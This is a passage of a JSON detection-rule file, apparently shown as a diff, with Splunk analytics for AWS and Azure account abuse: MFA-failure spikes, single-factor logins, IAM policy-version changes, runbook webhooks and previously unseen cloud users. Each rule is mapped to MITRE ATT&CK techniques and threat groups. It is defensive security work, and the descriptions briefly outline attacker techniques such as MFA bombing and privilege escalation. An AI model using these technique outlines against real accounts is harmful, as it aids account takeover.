SetDefaultPolicyVersion", - "description": "The following analytic detects when a user sets a default policy version in AWS. It leverages AWS CloudTrail logs to identify the `SetDefaultPolicyVersion` event from the IAM service. This activity is significant because attackers may exploit this technique for privilege escalation, especially if previous policy versions grant more extensive permissions than the current one. If confirmed malicious, this could allow an attacker to gain elevated access to AWS resources, potentially leading to unauthorized actions and data breaches.", - "search": "`cloudtrail` eventName=SetDefaultPolicyVersion eventSource = iam.amazonaws.com | stats count min(_time) as firstTime max(_time) as lastTime values(requestParameters.policyArn) as policy_arn by src requestParameters.versionId eventName eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.principalId user_arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_setdefaultpolicyversion_filter`", - "tags": { - "analytic_story": [ - "AWS IAM Privilege Escalation" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user_arn", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "From IP address $src$, user $user_arn$ has trigged an event $eventName$ for updating the the default policy version", - "risk_score": 30, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "AWS Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful Console Login authentication event for an AWS IAM user account without Multi-Factor Authentication (MFA) enabled. It leverages AWS CloudTrail logs to detect instances where MFA was not used during login. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to the AWS environment, potentially leading to data exfiltration, resource manipulation, or further privilege escalation.", - "search": "`cloudtrail` eventName= ConsoleLogin errorCode=success \"additionalEventData.MFAUsed\"=No | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id errorCode additionalEventData.MFAUsed userAgent eventID awsRegion user_name userIdentity.arn | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has successfully logged into an AWS Console without Multi-Factor Authentication from $src$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Authentication Failed During MFA Challenge", - "description": "The following analytic identifies failed authentication attempts against an Azure AD tenant during the Multi-Factor Authentication (MFA) challenge, specifically flagged by error code 500121. It leverages Azure AD SignInLogs to detect these events. This activity is significant as it may indicate an adversary attempting to authenticate using compromised credentials on an account with MFA enabled. If confirmed malicious, this could suggest an ongoing effort to bypass MFA protections, potentially leading to unauthorized access and further compromise of the affected account.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=500121 | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user, src_ip, status.additionalDetails, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_authentication_failed_during_mfa_challenge_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ failed to pass MFA challenge", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple AppIDs and UserAgents Authentication Spike", - "description": "The following analytic detects unusual authentication activity in Azure AD, specifically when a single user account has over 8 authentication attempts using 3+ unique application IDs and 5+ unique user agents within a short period. It leverages Azure AD audit logs, focusing on authentication events and using statistical thresholds. This behavior is significant as it may indicate an adversary probing for MFA requirements. If confirmed malicious, it suggests a compromised account, potentially leading to further exploitation, lateral movement, and data exfiltration. Early detection is crucial to prevent substantial harm.", - "search": " `azure_monitor_aad` category=SignInLogs operationName=\"Sign-in activity\" (properties.authenticationRequirement=\"multiFactorAuthentication\" AND properties.status.additionalDetails=\"MFA required in Azure AD\") OR (properties.authenticationRequirement=singleFactorAuthentication AND \"properties.authenticationDetails{}.succeeded\"=true) | bucket span=5m _time | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime dc(appId) as unique_app_ids dc(userAgent) as unique_user_agents values(appDisplayName) values(deviceDetail.operatingSystem) by user, src_ip | where count > 5 and unique_app_ids > 2 and unique_user_agents > 5 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_appids_and_useragents_authentication_spike_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$user$ authenticated in a short periof of time with more than 5 different user agents across 3 or more unique application ids.", - "risk_score": 48, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Failed MFA Requests For User", - "description": "The following analytic identifies multiple failed multi-factor authentication (MFA) requests for a single user within an Azure AD tenant. It leverages Azure AD Sign-in Logs, specifically error code 500121, to detect more than 10 failed MFA attempts within 10 minutes. This behavior is significant as it may indicate an adversary attempting to bypass MFA by bombarding the user with repeated authentication prompts. If confirmed malicious, this activity could lead to unauthorized access, allowing attackers to compromise user accounts and potentially escalate their privileges within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs operationName=\"Sign-in activity\" properties.status.errorCode=500121 properties.status.additionalDetails!=\"MFA denied; user declined the authentication\" | rename properties.* as * | bucket span=10m _time | stats count min(_time) as firstTime max(_time) as lastTime by user, status.additionalDetails, appDisplayName, user_agent | where count > 10 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_failed_mfa_requests_for_user_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ failed to complete MFA authentication more than 9 times in a timespan of 10 minutes.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Successful PowerShell Authentication", - "description": "The following analytic identifies a successful authentication event against an Azure AD tenant using PowerShell cmdlets. This detection leverages Azure AD SignInLogs to identify successful logins where the appDisplayName is \"Microsoft Azure PowerShell.\" This activity is significant because it is uncommon for regular, non-administrative users to authenticate using PowerShell, and it may indicate enumeration and discovery techniques by an attacker. If confirmed malicious, this activity could allow attackers to perform extensive reconnaissance, potentially leading to privilege escalation or further exploitation within the Azure environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.authenticationDetails{}.succeeded=true properties.appDisplayName=\"Microsoft Azure PowerShell\" | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, appDisplayName, user_agent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_successful_powershell_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ using PowerShell.", - "risk_score": 54, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure AD Successful Single-Factor Authentication", - "description": "The following analytic identifies a successful single-factor authentication event against Azure Active Directory. It leverages Azure SignInLogs data, specifically focusing on events where single-factor authentication succeeded. This activity is significant as it may indicate a misconfiguration, policy violation, or potential account takeover attempt. If confirmed malicious, an attacker could gain unauthorized access to the account, potentially leading to data breaches, privilege escalation, or further exploitation within the environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.authenticationRequirement=singleFactorAuthentication properties.authenticationDetails{}.succeeded=true | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime values(user) as user by src_ip, appDisplayName, authenticationRequirement | `azure_ad_successful_single_factor_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Successful authentication for user $user$ without MFA", - "risk_score": 45, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Azure Runbook Webhook Created", - "description": "The following analytic detects the creation of a new Automation Runbook Webhook within an Azure tenant. It leverages Azure Audit events, specifically the \"Create or Update an Azure Automation webhook\" operation, to identify this activity. This behavior is significant because Webhooks can trigger Automation Runbooks via unauthenticated URLs exposed to the Internet, posing a security risk. If confirmed malicious, an attacker could use this to execute code, create users, or maintain persistence within the environment, potentially leading to unauthorized access and control over Azure resources.", - "search": " `azure_audit` operationName.localizedValue=\"Create or Update an Azure Automation webhook\" status.value=Succeeded | dedup object | rename claims.ipaddr as src_ip | rename caller as user | stats count min(_time) as firstTime max(_time) as lastTime by object user, src_ip, resourceGroupName, object_path | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_runbook_webhook_created_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Persistence" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new Azure Runbook Webhook $object$ was created by $user$", - "risk_score": 63, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Cloud API Calls From Previously Unseen User Roles", - "description": "The following analytic detects cloud API calls executed by user roles that have not previously run these commands. It leverages the Change data model in Splunk to identify commands executed by users with the user_type of AssumedRole and a status of success. This activity is significant because new commands from different user roles can indicate potential malicious activity or unauthorized actions. If confirmed malicious, this behavior could lead to unauthorized access, data breaches, or other damaging outcomes by exploiting new or unmonitored commands within the cloud environment.", - "search": "| tstats earliest(_time) as firstTime, latest(_time) as lastTime from datamodel=Change where All_Changes.user_type=AssumedRole AND All_Changes.status=success by All_Changes.user, All_Changes.command All_Changes.object | `drop_dm_object_name(\"All_Changes\")` | lookup previously_seen_cloud_api_calls_per_user_role user as user, command as command OUTPUT firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenUserApiCall=min(firstTimeSeen) | where isnull(firstTimeSeenUserApiCall) OR firstTimeSeenUserApiCall > relative_time(now(),\"-24h@h\") | table firstTime, user, object, command |`security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `cloud_api_calls_from_previously_unseen_user_roles_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud User Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ of type AssumedRole attempting to execute new API calls $command$ that have not been seen before", - "risk_score": 36, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Cloud Compute Instance Created By Previously Unseen User", - "description": "The following analytic identifies the creation of cloud compute instances by users who have not previously created them. It leverages data from the Change data model, focusing on 'create' actions by users, and cross-references with a baseline of known user activities. This activity is significant as it may indicate unauthorized access or misuse of cloud resources by new or compromised accounts. If confirmed malicious, attackers could deploy unauthorized compute instances, leading to potential data exfiltration, increased costs, or further exploitation within the cloud environment.", - "search": "| tstats `security_content_summariesonly` count earliest(_time) as firstTime, latest(_time) as lastTime values(All_Changes.object) as dest from datamodel=Change where All_Changes.action=created by All_Changes.user All_Changes.vendor_region | `drop_dm_object_name(\"All_Changes\")` | lookup previously_seen_cloud_compute_creations_by_user user as user OUTPUTNEW firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenUser=min(firstTimeSeen) | where isnull(firstTimeSeenUser) OR firstTimeSeenUser > relative_time(now(), \"-24h@h\") | table firstTime, user, dest, count vendor_region | `security_content_ctime(firstTime)` | `cloud_compute_instance_created_by_previously_unseen_user_filter`", - "tags": { - "analytic_story": [ - "Cloud Cryptomining" - ], - "asset_type": "Cloud Compute Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ is creating a new instance $dest$ for the first time", - "risk_score": 18, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Cloud Instance Modified By Previously Unseen User", - "description": "The following analytic identifies cloud instances being modified by users who have not previously modified them. It leverages data from the Change data model, focusing on successful modifications of EC2 instances. This activity is significant because it can indicate unauthorized or suspicious changes by potentially compromised or malicious users. If confirmed malicious, this could lead to unauthorized access, configuration changes, or potential disruption of cloud services, posing a significant risk to the organization's cloud infrastructure.", - "search": "| tstats `security_content_summariesonly` count earliest(_time) as firstTime, latest(_time) as lastTime values(All_Changes.object_id) as object_id values(All_Changes.command) as command from datamodel=Change where All_Changes.action=modified All_Changes.change_type=EC2 All_Changes.status=success by All_Changes.user | `drop_dm_object_name(\"All_Changes\")` | lookup previously_seen_cloud_instance_modifications_by_user user as user OUTPUTNEW firstTimeSeen, enough_data | eventstats max(enough_data) as enough_data | where enough_data=1 | eval firstTimeSeenUser=min(firstTimeSeen) | where isnull(firstTimeSeenUser) OR firstTimeSeenUser > relative_time(now(), \"-24h@h\") | table firstTime user command object_id count | `security_content_ctime(firstTime)` | `cloud_instance_modified_by_previously_unseen_user_filter`", - "tags": { - "analytic_story": [ - "Suspicious Cloud Instance Activities" - ], - "asset_type": "AWS Instance", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user$ is modifying an instance $object_id$ for the first time.", - "risk_score": 42, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078.004", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "APT5", - "Ke3chang", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Cloud Provisioning Activity From Previously Unseen City", - "description": "The following analytic detects cloud provisioning activities originating from previously unseen cities. It leverages cloud infrastructure logs and compares the geographic location of the source IP address against a baseline of known locations. This activity is significant as it may indicate unauthorized access or misuse of cloud resources from an unexpected location. If confirmed malicious, this could lead to unauthorized resource creation, potential data exfiltration, or further compromise of cloud infrastructure.", - "search": "| tstats earliest(_time) as firstTime, 